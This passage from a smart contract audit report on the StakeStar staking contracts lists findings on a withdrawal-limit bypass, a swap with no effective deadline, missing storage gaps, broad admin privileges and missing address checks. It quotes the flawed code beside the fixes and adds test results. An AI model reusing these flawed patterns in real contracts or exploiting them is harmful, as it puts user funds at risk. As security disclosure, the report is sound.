373             "localPoolWithdrawalPeriodLimit"
374         );
375
376         starETH.burn(msg.sender, starAmount);
377         localPoolSize -= uint96(starAmount);
378         localPoolWithdrawalHistory[msg.sender] = uint32(block.number);
379
380         Utils.safeTransferETH(msg.sender, starAmount);
381
382         emit LocalPoolWithdraw(msg.sender, starAmount);
383     }
```

Recommendation:

1. _beforeTokenTransfer Adjustement: Adjust the starETH token's _beforeTokenTransfer to modify localPoolWithdrawalHistory if an address receives tokens.
2. Limit Number of Withdrawals: Implement a counter that limits the number of localPoolWithdraw calls within a specific time frame. This can prevent rapid depletion of the localPoolSize even if an attacker uses multiple addresses.

Updates

The team resolved the issue by adjusting the _afterTokenTransfer to update the history mapping.

SHB.6.4: StakeStar.sol

```
462         require(
463             uint32(block.number) - starETH.history(msg.sender) >
464                 localPoolWithdrawalPeriodLimit,
```

```
            "localPoolWithdrawalPeriodLimit after transfer"
        );
```

SHB.6.5: StarETH.sol

```
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        if (from != address(0)) {
            history[to] = uint32(block.number);
        }
    }
```

SHB.7 Ineffective Deadline in ExactInputSingleParams

- Severity : MEDIUM
- Status : Fixed
- Likelihood : 2
- Impact : 2

Description:

The UniswapV3Provider utilizes UniswapV3's exactInputSingle for token swaps. However, there's a critical oversight in the implementation. The deadline parameter, which is intended to set a time limit for the swap to be executed, is set to the current block's timestamp (block.timestamp). This essentially means that the swap has no effective deadline. This lack of a proper deadline exposes the swap to potential manipulation by validators or miners. A malicious validator can intentionally delay the execution of the swap until market conditions change in a way that makes the swap more profitable for them.

Exploit Scenario:

A validator or miner, upon seeing a swap transaction in the mempool, realizes that the swap could be more profitable in the future due to expected market movements. Since the deadline is set to block.timestamp, the validator can choose to delay including this transaction in a block until the desired market conditions are met. Once the conditions are favorable, they can include the transaction in a block, and since the deadline will always match the block's timestamp, the swap will still be valid and executed, potentially at a rate unfavorable to the original sender but profitable for the validator or miner.

Files Affected:

SHB.7.1: UniswapV3Provider.sol

```
120         ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
121             .ExactInputSingleParams({
122                 tokenIn: wETH,
123                 tokenOut: ssvToken,
124                 fee: poolFee,
125                 recipient: msg.sender,
126                 deadline: block.timestamp,
127                 amountIn: amountIn,
128                 amountOutMinimum: amountOutMinimum,
129                 sqrtPriceLimitX96: 0
130             });
```

Recommendation:

Allow the caller to specify the deadline when initiating the swap. This provides flexibility and allows the caller to define their own risk tolerance.

Updates

The team resolved the issue by getting the deadline from the function arguments.

SHB.7.2: UniswapV3Provider.sol

```
137         ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
138             .ExactInputSingleParams({
139                 tokenIn: wETH,
140                 tokenOut: ssvToken,
141                 fee: poolFee,
142                 recipient: msg.sender,
143                 deadline: deadline,
144                 amountIn: amountIn,
145                 amountOutMinimum: amountOutMinimum,
146                 sqrtPriceLimitX96: 0
147             });
```

SHB.8 Missing Storage Gaps in SwapProvider Contract

- Severity : MEDIUM
- Likelihood : 1
- Status : Fixed
- Impact : 3

Description:

The UniswapV3Provider contract, which inherits from the SwapProvider abstract contract, is designed to be upgradeable. However, the SwapProvider contract does not have storage gaps, which are essential for ensuring safe upgrades in upgradeable contracts. Without these storage gaps, adding state variables in future contract upgrades can lead to storage collisions. Storage collisions can overwrite existing contract state, leading to unexpected behavior, potential loss of funds, or other severe consequences.

Files Affected:

SHB.8.1: SwapProvider.sol

```
9  abstract contract SwapProvider is
10     ISwapProvider,
11     Initializable,
```

```
12      AccessControlUpgradeable
13  {
```

SHB.8.2: UniswapV3Provider.sol

```
12  contract UniswapV3Provider is SwapProvider {
```

Recommendation:

Implement Storage Gaps: Introduce storage gaps in the SwapProvider contract. These gaps are unused state variables that reserve space for potential future variables. By having these gaps, you can ensure that future upgrades that introduce new state variables won't collide with existing ones.

Updates

The team resolved the issue by removing the SwapProvider contract.

SHB.9 Overpowered Administrative Privileges

- Severity : MEDIUM
- Status : Acknowledged
- Likelihood : 1
- Impact : 3

Description:

The contract grants the admin role excessive control over critical functions. While administrative functions are often necessary for contract management, governance, and upgrades, excessive centralized control can introduce risks:

- Single Point of Failure: If the admin's private key is compromised, an attacker could take over the contract's critical functions.
- Centralization Concerns: The decentralized nature of blockchain applications can be undermined if one entity has too much control.

Files Affected:

SHB.9.1: StakeStar.sol

```
157     function setAddresses(
158         address depositContractAddress,
159         address ssvNetworkAddress,
160         address ssvTokenAddress,
161         address oracleNetworkAddress,
162         address sstarETHAddress,
163         address starETHAddress,
164         address stakeStarRegistryAddress,
165         address stakeStarTreasuryAddress,
166         address withdrawalCredentialsAddress,
167         address feeRecipientAddress,
168         address mevRecipientAddress
169     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.2: StakeStar.sol

```
203     function setRateParameters(
204         uint24 _maxRateDeviation,
205         bool _rateDeviationCheck
206     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.3: StakeStar.sol

```
218     function setLocalPoolParameters(
219         uint96 _localPoolMaxSize,
220         uint96 _localPoolWithdrawalLimit,
221         uint32 _localPoolWithdrawalPeriodLimit
222     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.4: StakeStar.sol

```
236     function setQueueParameters(
237         uint32 _loopLimit
238     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.5: StakeStar.sol

```
244     function setCommissionParameters(
245         uint256 _rateDiffThreshold
246     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.6: StakeStar.sol

```
252     function setValidatorWithdrawalThreshold(
253         uint256 threshold
254     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.7: StakeStar.sol

```
493     function reactivate(
494         uint64[] memory operatorIds,
495         uint256 amount,
496         SSVNetwork.Cluster memory cluster
497     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.8: StakeStarRegistry.sol

```
38     function addOperatorToAllowList(
39         uint64 operatorId
40     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.9: StakeStarRegistry.sol

```
46     function removeOperatorFromAllowList(
47         uint64 operatorId
48     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.10: StakeStarTreasury.sol

```
50     function setAddresses(
51         address stakeStarAddress,
52         address ssvNetworkAddress,
53         address ssvNetworkViewsAddress,
54         address ssvTokenAddress,
```

```
55          address swapProviderAddress
56      ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.11: StakeStarTreasury.sol

```
72      function setCommission(
73          uint24 value
74      ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.12: StakeStarTreasury.sol

```
80      function setRunway(
81          uint32 minRunwayPeriod,
82          uint32 maxRunwayPeriod
83      ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.13: StakeStarTreasury.sol

```
94      function claim(uint256 amount) public onlyRole(Utils.
            ↪ DEFAULT_ADMIN_ROLE) {
95          Utils.safeTransferETH(msg.sender, amount);
96          emit Claim(amount);
97      }
```

SHB.9.14: StakeStarOracle.sol

```
187     function setOracle(
188         address oracle,
189         uint8 oracle_no
190     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.15: StakeStarOracle.sol

```
195     function setStrictEpochMode(
196         bool strictEpochMode
197     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.16: StakeStarOracle.sol

```
201     function setEpochUpdatePeriod(
```

```
202         uint32 period_in_epochs
203     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.17: StakeStarOracleStrict.sol

```
129     function setOracle(
130         address oracle,
131         uint8 oracle_no
132     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.18: StakeStarOracleStrict.sol

```
137     function setStrictEpochMode(
138         bool strictEpochMode
139     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.19: StakeStarOracleStrict.sol

```
143     function setEpochUpdatePeriod(
144         uint32 period_in_epochs
145     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.20: UniswapV3Provider.sol

```
48      function setAddresses(
49          address swapRouterAddress,
50          address quoterAddress,
51          address uniswapHelperAddress,
52          address wETHAddress,
53          address ssvTokenAddress,
54          address poolAddress
55      ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

SHB.9.21: UniswapV3Provider.sol

```
73      function setParameters(
74          uint24 fee,
75          uint24 numerator,
76          uint32 interval,
```

```
77          uint256 minLiquidity
78      ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

Recommendation:

Consider implementing a multi-signature wallet or a decentralized governance mechanism to oversee administrative functions. This can distribute power and reduce the risks associated with a single admin.

Updates

The team acknowledged the issue, stating that contract deployment and administrative functionalities will be handled through the hardware-based EOA to mitigate the risk of losing control. After the governance token issuance, the administrative function will be transferred to DAO-managed multi-sig.

SHB.10 Missing Input Validation in setAddresses Function

- Severity : LOW
- Status : Fixed
- Likelihood : 1
- Impact : 2

Description:

The setAddresses function is designed to update critical contract addresses, including those for the deposit contract, SSV network, token contracts, and various recipients. However, the function lacks input validation checks to ensure that the provided addresses are valid and non-zero. This oversight can lead to potential misconfigurations, rendering the contract unusable or causing unexpected behaviors.

Files Affected:

SHB.10.1: StakeStar.sol

```
157     function setAddresses(
158         address depositContractAddress,
159         address ssvNetworkAddress,
160         address ssvTokenAddress,
161         address oracleNetworkAddress,
162         address sstarETHAddress,
163         address starETHAddress,
164         address stakeStarRegistryAddress,
165         address stakeStarTreasuryAddress,
166         address withdrawalCredentialsAddress,
167         address feeRecipientAddress,
168         address mevRecipientAddress
169     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
170         depositContract = IDepositContract(depositContractAddress);
171         ssvNetwork = SSVNetwork(ssvNetworkAddress);
172         ssvToken = IERC20(ssvTokenAddress);
173         oracleNetwork = IOracleNetwork(oracleNetworkAddress);
174 
175         sstarETH = SStarETH(sstarETHAddress);
176         starETH = StarETH(starETHAddress);
177         stakeStarRegistry = StakeStarRegistry(stakeStarRegistryAddress);
178         stakeStarTreasury = StakeStarTreasury(
179             payable(stakeStarTreasuryAddress)
180         );
181 
182         withdrawalAddress = ETHReceiver(payable(
            ↪ withdrawalCredentialsAddress));
183         feeRecipient = ETHReceiver(payable(feeRecipientAddress));
184         mevRecipient = ETHReceiver(payable(mevRecipientAddress));
185 
186         ssvNetwork.setFeeRecipientAddress(feeRecipientAddress);
```

Recommendation:

Implement input validation checks in the setAddresses function to ensure that none of the provided addresses are zero.

Updates

The team resolved the issue by adding zero address checks.

SHB.10.2: StakeStar.sol

```
185         require(
186             depositContractAddress != address(0),
187             Utils.ZERO_ADDR_ERROR_MSG
188         );
189         require(ssvNetworkAddress != address(0), Utils.
                ↪ ZERO_ADDR_ERROR_MSG);
190         require(ssvTokenAddress != address(0), Utils.ZERO_ADDR_ERROR_MSG)
                ↪ ;
191         require(oracleNetworkAddress != address(0), Utils.
                ↪ ZERO_ADDR_ERROR_MSG);
192         require(sstarETHAddress != address(0), Utils.ZERO_ADDR_ERROR_MSG)
                ↪ ;
193         require(starETHAddress != address(0), Utils.ZERO_ADDR_ERROR_MSG);
194         require(
195             stakeStarRegistryAddress != address(0),
196             Utils.ZERO_ADDR_ERROR_MSG
197         );
198         require(
199             stakeStarTreasuryAddress != address(0),
200             Utils.ZERO_ADDR_ERROR_MSG
201         );
202         require(
203             withdrawalCredentialsAddress != address(0),
204             Utils.ZERO_ADDR_ERROR_MSG
205         );
```

```
206         require(feeRecipientAddress != address(0), Utils.
                ↪ ZERO_ADDR_ERROR_MSG);
207         require(mevRecipientAddress != address(0), Utils.
                ↪ ZERO_ADDR_ERROR_MSG);
```

4 Best Practices

BP.1 Use require Instead of assert for Pre-condition Checks

Description:

The contract uses the assert statement for pre-condition checks instead of the more appropriate require statement. While both assert and require can be used to trigger exceptions and revert transactions, they serve different purposes:

- require: Used for validating inputs and conditions before execution. It consumes less gas when an exception is thrown because it doesn't consume all the remaining gas.
- assert: Used to handle conditions that should never occur and are invariants within the contract. When an assert fails, it consumes all the remaining gas in the transaction.

Using assert for pre-condition checks can lead to unnecessary gas consumption for the caller if the condition is not met.

Files Affected:

BP.1.1: StakeStar.sol

```
322             assert(tail != address(0)); // tail can be 0 only if head = 0
```

BP.1.2: StakeStarOracle.sol

```
83          assert(_zeroEpochTimestamp > 0);
```

BP.1.3: StakeStarOracle.sol

```
88          assert(_zeroEpochTimestamp > 0);
```

BP.1.4: StakeStarOracleStrict.sol

```
50          assert(_zeroEpochTimestamp > 0);
```

BP.1.5: StakeStarOracleStrict.sol

```
55          assert(_zeroEpochTimestamp > 0);
```

Status - Acknowledged

BP.2 Use external Instead of public

Description:

The contract contains functions that are intended to be called only from external sources (e.g., transactions or other contracts) but do not use the external visibility modifier. Instead, they might be using the public modifier. While both public and external functions can be called from outside the contract, public functions can also be called internally, which can lead to increased gas costs due to additional copying of data. Consider update these functions' visibility from public to external.

Files Affected:

BP.2.1: StakeStar.sol

```
157     function setAddresses(
158         address depositContractAddress,
159         address ssvNetworkAddress,
160         address ssvTokenAddress,
161         address oracleNetworkAddress,
162         address sstarETHAddress,
163         address starETHAddress,
164         address stakeStarRegistryAddress,
165         address stakeStarTreasuryAddress,
166         address withdrawalCredentialsAddress,
167         address feeRecipientAddress,
168         address mevRecipientAddress
169     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

BP.2.2: StakeStar.sol

```
203     function setRateParameters(
204         uint24 _maxRateDeviation,
205         bool _rateDeviationCheck
206     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

BP.2.3: StakeStar.sol

```
218     function setLocalPoolParameters(
219         uint96 _localPoolMaxSize,
220         uint96 _localPoolWithdrawalLimit,
221         uint32 _localPoolWithdrawalPeriodLimit
222     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

BP.2.4: StakeStar.sol

```
236     function setQueueParameters(
237         uint32 _loopLimit
238     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

BP.2.5: StakeStar.sol

```
244     function setCommissionParameters(
245         uint256 _rateDiffThreshold
246     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

BP.2.6: StakeStar.sol

```
252     function setValidatorWithdrawalThreshold(
253         uint256 threshold
254     ) public onlyRole(Utils.DEFAULT_ADMIN_ROLE) {
```

BP.2.7: StakeStar.sol

```
290     function depositAndStake() public payable {
```

BP.2.8: StakeStar.sol

```
331     function unstakeAndWithdraw(uint256 stakedStarAmount) public {
```

BP.2.9: StakeStar.sol

```
337     function claim() public {
```

BP.2.10: StakeStar.sol

```
386     function unstakeAndLocalPoolWithdraw(uint256 stakedStarAmount)
            ↪ public {
```

BP.2.11: StakeStar.sol

```
503     function createValidator(
504         ValidatorParams calldata validatorParams,
505         uint256 amount,
506         SSVNetwork.Cluster calldata cluster
507     ) public onlyRole(Utils.MANAGER_ROLE) {
```

BP.2.12: StakeStar.sol

```
545     function destroyValidator(
546         bytes calldata publicKey,
547         uint64[] memory operatorIds,
548         SSVNetwork.Cluster memory cluster
549     ) public onlyRole(Utils.MANAGER_ROLE) {
```

BP.2.13: StakeStar.sol

```
557     function registerValidator(
558         ValidatorParams calldata validatorParams,
559         uint256 amount,
560         SSVNetwork.Cluster calldata cluster
561     ) public onlyRole(Utils.MANAGER_ROLE) {
```

BP.2.14: StakeStar.sol

```
574     function unregisterValidator(
575         bytes calldata publicKey,
576         uint64[] memory operatorIds,
577         SSVNetwork.Cluster memory cluster
578     ) public onlyRole(Utils.MANAGER_ROLE) {
```

BP.2.15: StakeStar.sol

```
591     function commitSnapshot() public {
```

Status - Acknowledged

5 Tests

Results:

→ Deploy

✓ Should deploy all StakeStar contracts (5262ms)

→ ETHReceiver

→ Deployment

✓ Should set the right STAKE_STAR_ROLE (50ms)

→ AccessControl

✓ Should not allow to call methods without corresponding roles (131ms)

→ Payable

✓ Should receive Ether (46ms)

→ Pull

✓ Should send Ether to StakeStar only (4959ms)

→ Utils

→ addressToWithdrawalCredentials

✓ Should convert address to credentials

→ compareBytes

✓ Should compare two byte arrays (65ms)

→ StakeStarOracle

→ Deployment

✓ Should set the right roles

→ Save

✓ Should save consensus data (744ms)

→ RandomOracleTest

✓ Randomized oracle test should work (35060ms)

→ StakeStarOracleStrict

→ Deployment

✓ Should set the right roles

→ Save

✓ Should save consensus data (876ms)

→ RandomOracleTest

✓ Randomized oracle test should work (64917ms)

→ StakeStar

→ Deployment

✓ Should set the right owner

✓ Should set the right manager

✓ Should set the right owner for sstarETH/starETH

→ AccessControl

✓ Should not allow to call methods without corresponding roles (705ms)

→ Setters

→ setAddresses

✓ Should setAddresses (97ms)

✓ Should set fee recipient in SSV Network

→ setRateParameters

✓ Should setRateParameters (39ms)

→ setLocalPoolParameters

✓ Should setLocalPoolParameters (155ms)

→ setQueueParameters

✓ Should setQueueParameters

→ setValidatorWithdrawalThreshold

✓ Should setValidatorWithdrawalThreshold

→ Deposit

✓ Should send ETH to the contract (178ms)

→ Withdraw

✓ Should create pendingWithdrawal (220ms)

✓ unstake queue (1418ms)

→ Claim

✓ Should finish pendingWithdrawal and send Ether (529ms)

→ LocalPoolWithdraw

✓ Should withdraw from local pool in a single tx (233ms)

✓ LocalPoolWithdraw when there is pending withdrawal (245ms)

→ CreateValidator

✓ Should create a validator (414ms)

✓ Should take into account balance, pendingWithdrawalSum, localPoolSize (539ms)

→ register/unregister validator

✓ register/unregister validator (549ms)

→ DestroyValidator

✓ destroyValidator (527ms)

✓ validatorToDestroy (656ms)

→ validatorDestructionAvailability

✓ 16 eth limit (874ms)

✓ takes pendingWithdrawalSum, localPoolSize, WA, feeRecipient, mevRecipient, free eth (859ms)

✓ takes pendingWithdrawalSum, exitingETH (629ms)

→ harvest

✓ Should pull ETH from FeeRecipient and MevRecipient (105ms)

→ CommitSnapshot

✓ Should do basic validations and save snapshot (409ms)

✓ Should pull fees before calculations (176ms)

✓ Should WA after calculations (156ms)

✓ maxRateDeviation (937ms)

✓ maxRateDeviation initial check (213ms)

→ Linear approximation by Sasha U. Kind of legacy test

✓ Should approximate ssETH rate (683ms)

→ Rate

✓ Rate shouldn't change before any oracles submissions and be equal 1 ether (275ms)

✓ Rate should be equal last snapshot rate(> 1) if only one snapshot submitted (395ms)

✓ Rate should be equal last snapshot rate(< 1) if only one snapshot submitted (612ms)

✓ Rate should be equal last snapshot rate(= 1) if only one snapshot submitted (634ms)

✓ Rate should be approximated based on 2 snapshots (eth amount increasing) (570ms)

✓ Rate should be approximated based on 2 snapshots (eth amount decreasing) (605ms)

→ OptimizeCapitalEfficiency

✓ Should optimize capital efficiency on stake if treasury has ssETH when equal amount (159ms)

✓ Should optimize capital efficiency on stake if treasury has ssETH when stake is less (154ms)

✓ Should optimize capital efficiency on stake if treasury has ssETH when stake is less (149ms)

→ ExtractCommission

✓ one point (363ms)

✓ Should extract commission when rate grows [two points, same rate] (441ms)

✓ two points #1 (1022ms)

✓ two points #2 (961ms)

✓ two points #3 (1159ms)

✓ two points #4 (852ms)

✓ rateDiffThreshold (366ms)

→ StakeStarRegistry

→ Deployment

✓ Should set the right roles

→ AccessControl

✓ Should not allow call methods without corresponding roles (406ms)

→ AllowList

✓ Should add operator to the allow list

✓ Should remove operator from the allow list (39ms)

✓ Should verify operators using the allow list (98ms)

→ Validators

✓ Should create validator (359ms)

✓ Should verify validator creation (161ms)

✓ Should exit validator (362ms)

✓ Should verify validator exit (122ms)

→ ChainLinkInterface

✓ getPoRAddressListLength (342ms)

✓ getPoRAddressList (3494ms)

→ StakeStarTreasury

→ Deployment

✓ Should set the right DEFAULT_ADMIN_ROLE

→ AccessControl

✓ Should not allow call methods without corresponding roles (260ms)

→ Payable

✓ Should receive Ether

→ Setters

→ SetAddresses

✓ Should set addresses (42ms)

→ SetCommission

✓ Should set commission (71ms)

→ SetRunway

✓ Should set runway (50ms)

→ swapETHAndDepositSSV

✓ Should buy SSV token on UNI V3 and deposit (1448ms)

→ Claim

✓ Should emit Pull event (103ms)

→ UniswapV3Provider

→ Deployment

✓ Should set the right DEFAULT_ADMIN_ROLE (40ms)

→ AccessControl

✓ Should not allow call methods without corresponding roles (226ms)

→ Setters

→ setAddresses

✓ Should setAddresses (48ms)

→ setParameters

✓ Should setParameters (66ms)

→ SStarETH

→ Deployment

✓ Should set the right token name and symbol

✓ Should set the right STAKE_STAR_ROLE

✓ Should not allow to call STAKE_STAR_ROLE method to anyone else (134ms)

→ Mint

✓ Should mint value of ssETH

→ Burn

✓ Should burn value of ssETH

→ StarETH

→ Deployment

✓ Should set the right token name and symbol

✓ Should set the right STAKE_STAR_ROLE

✓ Should not allow to call STAKE_STAR_ROLE method to anyone else (139ms)

→ Mint

✓ Should mint value of ssETH

→ Burn

✓ Should burn value of ssETH

Coverage:

The code coverage results were obtained by running yarn hardhat coverage in the StakeStar project while excluding the mocks and the ssv-network. We found the following results :

- Statements Coverage : 99.7%
- Branches Coverage : 89.93%
- Functions Coverage : 98.96%
- Lines Coverage : 98.99%

6 Conclusion

In this audit, we examined the design and implementation of StakeStar contract and discovered several issues of varying severity. StakeStar team addressed 6 issues raised in the initial report and implemented the necessary fixes, while classifying the rest as a risk with low-probability of occurrence. Shellboxes' auditors advised StakeStar Team to maintain a high level of vigilance and to keep those findings in mind in order to avoid any future complications.

7 Scope Files

7.1 Audit

Files	MD5 Hash
StakeStar.sol	644355cbd3ccc3ee2de4c29d156e76bc
StakeStarRegistry.sol	21158c13e157462a4ed34b2fa93e69db
StakeStarTreasury.sol	16534311c067af161340da7a479f97b7
tokens/SStarETH.sol	824f5a00e2cb2c03e5ba12c4692b8154
tokens/StarETH.sol	8004c577be5697c9cb29f46faaabcdad
swap-providers/SwapProvider.sol	dac124e4891196aac2719c7ddddbd45b
swap-providers/UniswapV3Provider.sol	0007334e0a5d2f83083ee95d86ee0947
oracle-network/StakeStarOracle.sol	b78f916ff5f89e44a90aa2b5ddde88f2
oracle-network/StakeStarOracleStrict.sol	e2b74ea843421d338a9d2819a502e6fe
helpers/ETHReceiver.sol	20873c137f5bcd78cd610ad9d5f37e3b
helpers/UniswapHelper.sol	78b480de03abc9f122a5db311eef9770
helpers/Utils.sol	5121c78c4bb4e9acc245eee103095e86

7.2 Re-Audit

Files	MD5 Hash
StakeStar.sol	a42ff100aa8976f4355428b619c9498b
StakeStarRegistry.sol	21158c13e157462a4ed34b2fa93e69db

StakeStarTreasury.sol	1674d3a5473c6c02c4dff43daf422f8d
tokens/SStarETH.sol	800068b7fe78936a9c4dfd57d9825ca6
tokens/StarETH.sol	4a87f416fe525ae53dd2c373a85fe913
swap-providers/UniswapV3Provider.sol	2cc6981828efca0f219bed4f3552d081
oracle-network/StakeStarOracle.sol	b78f916ff5f89e44a90aa2b5ddde88f2
oracle-network/StakeStarOracleStrict.sol	e2b74ea843421d338a9d2819a502e6fe
helpers/ETHReceiver.sol	20873c137f5bcd78cd610ad9d5f37e3b
helpers/UniswapHelper.sol	78b480de03abc9f122a5db311eef9770
helpers/Utils.sol	cac8114a7c2deca4dc55d6fb74f7f2d7

8 Disclaimer

Shellboxes reports should not be construed as "endorsements" or "disapprovals" of particular teams or projects. These reports do not reflect the economics or value of any "product" or "asset" produced by any team or project that engages Shellboxes to do a security evaluation, nor should they be regarded as such. Shellboxes Reports do not provide any warranty or guarantee regarding the absolute bug-free nature of the examined technology, nor do they provide any indication of the technology's proprietors, business model, business or legal compliance. Shellboxes Reports should not be used in any way to decide whether to invest in or take part in a certain project. These reports don't offer any kind of investing advice and shouldn't be used that way. Shellboxes Reports are the result of a thorough auditing process designed to assist our clients in improving the quality of their code while lowering the significant risk posed by blockchain technology. According to Shellboxes, each business and person is in charge of their own due diligence and ongoing security. Shellboxes does not guarantee the security or functionality of the technology we agree to research; instead, our purpose is to assist in limiting the attack vectors and the high degree of variation associated with using new and evolving technologies.

For a Contract Audit, contact us at contact@shellboxes.com